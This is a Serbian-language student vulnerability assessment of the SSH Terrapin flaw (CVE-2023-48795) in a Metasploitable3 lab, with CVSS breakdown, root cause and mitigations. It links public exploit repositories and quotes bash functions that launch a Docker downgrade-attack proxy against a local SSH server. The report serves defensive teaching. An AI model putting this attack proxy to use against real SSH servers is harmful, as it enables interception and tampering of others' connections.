Vulnerability Assessment Report

Ime i prezime: Anja Maksimović
Tim: 12
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID: CVE-2023-48795**
- **Opis:** SSH Terrapin Prefix Truncation Weakness je ranjivost u SSH protokolu, a pretežno na SSH serverima koji podržavaju *ChaCha20-Poly1305 i CBC* sa *Encrypt-than-MAC* algoritmima koji nemaju stroge mere protiv napada na razmenu ključeva. Ova ranjivost je povezana sa napadom skraćivanja prefiksa poznatog kao Terrapin, koji može biti iskorišćen u napadu *Man-in-the-middle* (MITM), prilikom kog se napadaču omogućava da presretne i manipuliše SSH saobraćajem. Ovaj propust omogućava napadačima da zaobiđu provere integriteta tokom uspostavljanja veze što može smanjiti nivo bezbednosti, potencijalno onemogućavajući ključne bezbednosne funkcije ili omogućavajući manje sigurne metode autentifikacije.

- Detalji o servisu:
    - Naziv servisa – SSH
    - Port - 22
    - Protokol - TCP

2. CVSS skor

- **CVSS skor (numerička vrednost): 5.9**
- **Vektor:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
    - AV:N – Attack Vector:Network – Ranjivost može biti eksploatisana od strane napadača putem interneta ili lokalne mreže.
    - AC:H - Attack Complexity:High – Napad zahteva visoke sposobnosti napadača te je težak za izvođenje.
    - PR:N - Privileges Required:None – Napadaču nisu potrebne posebne privilegije da bi iskoristio ovu ranjivost.
    - UI:N - User Interaction:None – Napadač nema potrebe za interakcijom sa korisnikom, što olakšava izvođenje napada.

- S:U – Scope:Unchanged - Eksploatacija nema uticaja na druge komponente van servera. Nema promene opsega ranjivosti.
- C:N - Confidentiality: None – Nema direktne pretnje po poverljivost.
- I:H - Integrity: High – Integritet ugrožen, jer napadač može smanjiti sigurnosne funkcije i izmeniti prenesene podatke.
- A:N - Availability: None – Ranjivost ne utiče direktno na dostupnost.

- **Opravdanje:**
  Skor 5.9 ukazuje na ranjivost sa srednjim uticajem na integritet što može imati posledice po sigurnost sistema. Iako je visoka složenost napada, lakoća pristupa - preko mreže, bez privilegija i bez potrebe za interakcijom napadača sa korisnikom, povećava broj potencijalnih napadača i čini da ova ranjivost ima viši skor i preporučljivo je preduzeti mere zaštite i mitigaciju rizika koji su povezani sa ovom ranjivošću.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

  1. https://github.com/RUB-NDS/Terrapin-Artifacts/tree/main
  2. https://github.com/SecDev0ps/SSH-Terrapin-Attack
  3. https://github.com/CharonDefalt/ssh-attack-terrapin

- **Opis eksploita:**

  Kod sa prvog repozitorijuma ne pokušava da izvrši napad direktno. Ovaj repozitorijum sadrži materijal vezan za istraživački rad koji se bavi Terrapin napadom. Uključuje Proof-of-Concept (PoC) skripte koje pokazuju različite ranjivosti, uključujući i CVE-2023-48795. PoC skripte se izvršavaju unutar Docker kontejnera. Napad koristi *downgrade* u bezbednosnim protokolima, gde napadač primorava na korišćenje slabijeg ili ranjivijeg algoritma za šifrovanje. Na taj način, ako su server i klijent dogovorili jaču enkripciju, napadač može da preseče dogovor i podmetne slabiji algoritam, koji se lakše kompromituje.

  Skripte sa drugog i trećeg repozitorijuma simuliraju SSH *handshake* sa potencijalnom Terrapin manipulacijom, iskorišćavajući ranjivost CVE-2023-48795. Skripte pokušavaju da zaobiđu provere integriteta tokom uspostavljanja SSH veze, što napadaču omogućava da umanji sigurnost veze. Skripte ciljaju SSH servere koji koriste *ChaCha20-Poly1305* ili CBC ciphers sa *Encrypt-then-MAC* bez strogih mera razmene ključeva.

  Uspešan napad može omogućiti napadaču da presretne komunikaciju, manipuliše podacima ili obezbedi pristup osetljivim informacijama. Ovo povećava ranjivost, omogućava manipulaciju komunikacije i može dovesti do neautorizovanog pristupa i kompromitovanja podataka.

- **Kod eksploita (ukoliko postoji):**

```
function select_and_run_poc_proxy {
  echo "[i] This script supports the following extension downgrade attack variants as PoC:"
  echo -e "\t1) ChaCha20-Poly1305"
  echo -e "\t2) CBC-EtM (Unknown)"
  echo -e "\t3) CBC-EtM (Ping)"
  read -p "[+] Please select PoC variant to test [1-3]: " POC_VARIANT

  case $POC_VARIANT in
    1)
      POC_VARIANT_NAME="ChaCha20-Poly1305"
      POC_IMAGE="terrapin-artifacts/ext-downgrade-chacha20-poly1305" ;;
    2)
      POC_VARIANT_NAME="CBC-EtM (Unknown)"
      POC_IMAGE="terrapin-artifacts/ext-downgrade-cbc-unknown" ;;
    3)
      if [[ $SERVER_IMPL -eq 2 ]]; then
        echo "[!] CBC-EtM (Ping) variant requires OpenSSH 9.5p1 as the server. Please re-run the script."
        exit 1
      fi
      POC_VARIANT_NAME="CBC-EtM (Ping)"
      POC_IMAGE="terrapin-artifacts/ext-downgrade-cbc-ping" ;;
    *)
      echo "[!] Invalid selection, please re-run the script"
      exit 1 ;;
  esac
  echo "[+] Selected PoC variant: '$POC_VARIANT_NAME'"

  echo "[+] Starting extension downgrade attack proxy on port $POC_PORT. Connection will be proxied to 127.0.0.1:$SERVER_PORT"
  docker run -d \
    --network host \
    --name $POC_CONTAINER_NAME \
    $POC_IMAGE --proxy-port $POC_PORT --server-ip "127.0.0.1" --server-port $SERVER_PORT > /dev/null 2>&1
}
```

```
function run_client_poc {
  echo "[+] Connecting with $CLIENT_IMPL_NAME client to PoC proxy at 127.0.0.1:$POC_PORT as user victim"
  if [[ $CLIENT_IMPL -eq 1 ]]; then
    docker run \
      --network host \
      --name "$CLIENT_CONTAINER_NAME-poc" \
      $CLIENT_IMAGE -vvv -o Ciphers=chacha20-poly1305@openssh.com,aes128-cbc -o MACs=hmac-sha2-256-etm@openssh.com -p $POC_PORT victim@127.0.0.1 > /dev/null 2>&1
  else
    docker run \
      --network host \
      --name "$CLIENT_CONTAINER_NAME-poc" \
      $CLIENT_IMAGE -v -P $POC_PORT -batch -sshlog /dev/stdout victim@127.0.0.1 > /dev/null 2>&1
  fi
}
```

  - Funkcija *select_and_run_poc_proxy* omogućava korisniku da odabere varijantu napada i pokrene PoC proxy koji preusmerava konekcije na SSH server, dok funkcija *run_client_poc* omogućava klijentu da se poveže s tim proxyjem umesto direktno sa serverom. Pomoću ovih funkcija može se testirati sigurnost SSH protokola kroz simulaciju napada. Moguće je analizirati reakciju servera na različite vrste napada u kontrolisanom okruženju.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):** Analiza uzroka ranjivosti CVE-2023-48795 oslanja se na dva ključna problema: SSH ne verifikuje celokupnu transkriptnu komunikaciju tokom *handshake*-a, što omogućava napadaču da umetne poruke i manipuliše brojevima sekvenci i SSH ne resetuje brojeve sekvenci kada se aktiviraju enkripcioni ključevi, što omogućava da manipulacije pre enkripcije utiču na bezbednost veze.

  Na linku https://terrapin-attack.com/patches.html se mogu naći različite SSH implementacije, sa istaknutim verzijama koje imaju ranjivost kao i onim u kojima je su problemi rešeni. Različite SSH implementacije, uključujući OpenSSH, započele primenu "*strict kex*" kao odgovor na ovu ranjivost.

- **Primer Koda (ako je primenljivo): /**

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da. Dostupan je fix koji uključuje ažuriranje verzije SSH protokola.
- **Mitigation Strategy:**
  Najbolji pristup je ažuriranje na najnoviju verziju. Ako ažuriranje nije moguće, preporučuje se isključivanje ranjivih šifara i HMAC algoritama koji omogućavaju eksploataciju, kao što su *chacha20-poly1305* i određeni *Encrypt-then-MAC* algoritmi.

- **Alternativni fix (ukoliko ne postoji vendorski):**

  Zaštitni postupci mogu se primeniti ručno, izmenom podešavanja u fajlovima za SSH konfiguraciju ili u cripto-policy sistema. Ranjivi algoritmi mogu se onemogućiti time što se isključe iz konfiguracionih fajlova, kao što su */etc/ssh/ssh_config* za klijentska podešavanja i */etc/ssh/sshd_config* za serverska podešavanja, čime se smanjuje rizik od napada kroz ranjivosti kao što je Terrapin.